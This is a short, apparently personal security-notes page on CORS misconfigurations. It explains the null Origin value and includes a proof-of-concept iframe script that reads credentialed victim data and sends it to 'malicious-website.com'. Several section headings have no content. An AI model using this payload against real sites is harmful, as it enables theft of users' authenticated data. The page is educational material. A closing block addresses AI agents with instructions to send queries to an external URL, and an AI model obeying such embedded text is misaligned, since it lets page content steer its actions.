# Vulnerabilities arising from CORS configuration issues

### Server-generated ACAO header from client-specified Origin header <a href="#server-generated-acao-header-from-client-specified-origin-header" id="server-generated-acao-header-from-client-specified-origin-header"></a>

reading the Origin header from requests and including a response header stating that the requesting origin is allowed.

The specification for the Origin header supports the value `null`. Browsers might send the value `null` in the Origin header in various unusual situations:

* Cross-origin redirects.
* Requests from serialized data.
* Request using the `file:` protocol.
* Sandboxed cross-origin requests.

```html
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>
```

### Whitelisted NULL Origin: <a href="#errors-parsing-origin-headers" id="errors-parsing-origin-headers"></a>

### Errors parsing Origin headers <a href="#errors-parsing-origin-headers" id="errors-parsing-origin-headers"></a>

### Exploiting XSS via CORS trust relationships <a href="#exploiting-xss-via-cors-trust-relationships" id="exploiting-xss-via-cors-trust-relationships"></a>

### Breaking TLS with poorly configured CORS <a href="#breaking-tls-with-poorly-configured-cors" id="breaking-tls-with-poorly-configured-cors"></a>

<br>

### Intranets and CORS without credentials <a href="#intranets-and-cors-without-credentials" id="intranets-and-cors-without-credentials"></a>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://n0m4dsec.gitbook.io/sec-book/web-vulnerabilities/client-side-vulnerabilties/cors-cross-origin-resource-sharing/vulnerabilities-arising-from-cors-configuration-issues.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
